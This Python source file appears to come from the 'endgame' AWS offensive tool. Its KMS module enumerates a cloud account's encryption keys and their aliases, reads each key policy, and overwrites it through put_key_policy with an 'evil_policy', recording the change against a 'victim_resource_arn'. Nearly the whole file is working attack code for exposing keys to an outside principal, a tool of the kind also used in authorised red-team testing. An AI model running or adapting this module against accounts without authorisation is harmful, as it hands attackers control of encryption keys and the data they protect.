endgame/endgame/exposure_via_resource_policies/kms.py
2021-03-16 02:14:28 +01:00

156 lines
7.6 KiB
Python

import logging
import json
import boto3
import botocore
from abc import ABC
from botocore.exceptions import ClientError
from policy_sentry.util.arns import get_account_from_arn, get_resource_path_from_arn
from endgame.shared import constants
from endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes
from endgame.shared.policy_document import PolicyDocument
from endgame.shared.list_resources_response import ListResourcesResponse
from endgame.shared.response_message import ResponseMessage
from endgame.shared.response_message import ResponseGetRbp
logger = logging.getLogger(__name__)
# https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/kms.html
class KmsKey(ResourceType, ABC):
def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str):
self.service = "kms"
self.resource_type = "key"
self.region = region
self.current_account_id = current_account_id
if name.startswith("alias"):
self.alias = name
name = self._get_key_id_with_alias(name, client)
self.name = name
else:
self.name = name
self.alias = None
self.override_resource_block = self.arn
super().__init__(name, self.resource_type, self.service, region, client, current_account_id,
override_resource_block=self.override_resource_block)
@property
def arn(self) -> str:
return f"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{self.name}"
def _get_key_id_with_alias(self, name: str, client: boto3.Session.client) -> str:
"""Given an alias, return the key ID"""
response = client.describe_key(KeyId=name)
key_id = response.get("KeyMetadata").get("KeyId")
return key_id
def _get_rbp(self) -> ResponseGetRbp:
"""Get the resource based policy for this resource and store it"""
# https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/kms.html#KMS.Client.get_key_policy
logger.debug("Getting resource policy for %s" % self.arn)
try:
response = self.client.get_key_policy(KeyId=self.arn, PolicyName="default")
if response.get("Policy"):
policy = constants.get_empty_policy()
policy["Statement"].extend(json.loads(response.get("Policy")).get("Statement"))
else:
policy = constants.get_empty_policy()
success = True
except botocore.exceptions.ClientError:
# When there is no policy, let's return an empty policy to avoid breaking things
policy = constants.get_empty_policy()
success = False
policy_document = PolicyDocument(
policy=policy,
service=self.service,
override_action=self.override_action,
include_resource_block=self.include_resource_block,
override_resource_block=self.override_resource_block,
override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,
)
response = ResponseGetRbp(policy_document=policy_document, success=success)
return response
def set_rbp(self, evil_policy: dict) -> ResponseMessage:
# https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/kms.html#KMS.Client.put_key_policy
new_policy = json.dumps(evil_policy)
logger.debug("Setting resource policy for %s" % self.arn)
try:
self.client.put_key_policy(KeyId=self.name, PolicyName="default", Policy=new_policy)
message = "success"
success = True
except botocore.exceptions.ClientError as error:
message = str(error)
logger.critical(error)
success = False
response_message = ResponseMessage(message=message, operation="set_rbp", success=success, evil_principal="",
victim_resource_arn=self.arn, original_policy=self.original_policy,
updated_policy=evil_policy, resource_type=self.resource_type,
resource_name=self.name, service=self.service)
return response_message
class KmsKeys(ResourceTypes):
def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):
super().__init__(client, current_account_id, region)
self.service = "kms"
self.resource_type = "key"
self.current_account_id = current_account_id
@property
def resources(self) -> [ListResourcesResponse]:
"""Get a list of these resources"""
# https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/kms.html#KMS.Paginator.ListKeys
def list_keys() -> list:
keys = []
paginator = self.client.get_paginator("list_keys")
page_iterator = paginator.paginate()
for page in page_iterator:
these_resources = page["Keys"]
for resource in these_resources:
key_id = resource.get("KeyId")
arn = resource.get("KeyArn")
keys.append(arn)
return keys
# https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/kms.html#KMS.Paginator.ListAliases
def filter_with_aliases(all_key_arns) -> list:
keys = []
key_arns_with_aliases = []
aws_managed_key_arns = []
paginator = self.client.get_paginator("list_aliases")
page_iterator = paginator.paginate()
for page in page_iterator:
these_resources = page["Aliases"]
for resource in these_resources:
alias = resource.get("AliasName")
key_id = resource.get("TargetKeyId")
arn = resource.get("AliasArn")
if alias.startswith("alias/aws") or alias.startswith("aws/"):
aws_managed_key_arns.append(arn)
if key_id:
aws_managed_key_arns.append(f"arn:aws:kms:{self.region}:{self.current_account_id}:key/{key_id}")
continue
else:
# keys.append(alias)
arn = f"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{key_id}"
list_resources_response = ListResourcesResponse(
service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,
resource_type=self.resource_type, name=key_id, note=alias)
keys.append(list_resources_response)
key_arns_with_aliases.append(arn)
# If the key does not have an alias, return the key ID
for some_key_arn in all_key_arns:
if some_key_arn not in key_arns_with_aliases and some_key_arn not in aws_managed_key_arns:
key_id = get_resource_path_from_arn(some_key_arn)
arn = f"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{key_id}"
list_resources_response = ListResourcesResponse(
service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,
resource_type=self.resource_type, name=key_id)
keys.append(list_resources_response)
return keys
key_ids = list_keys()
resources = filter_with_aliases(key_ids)
return resources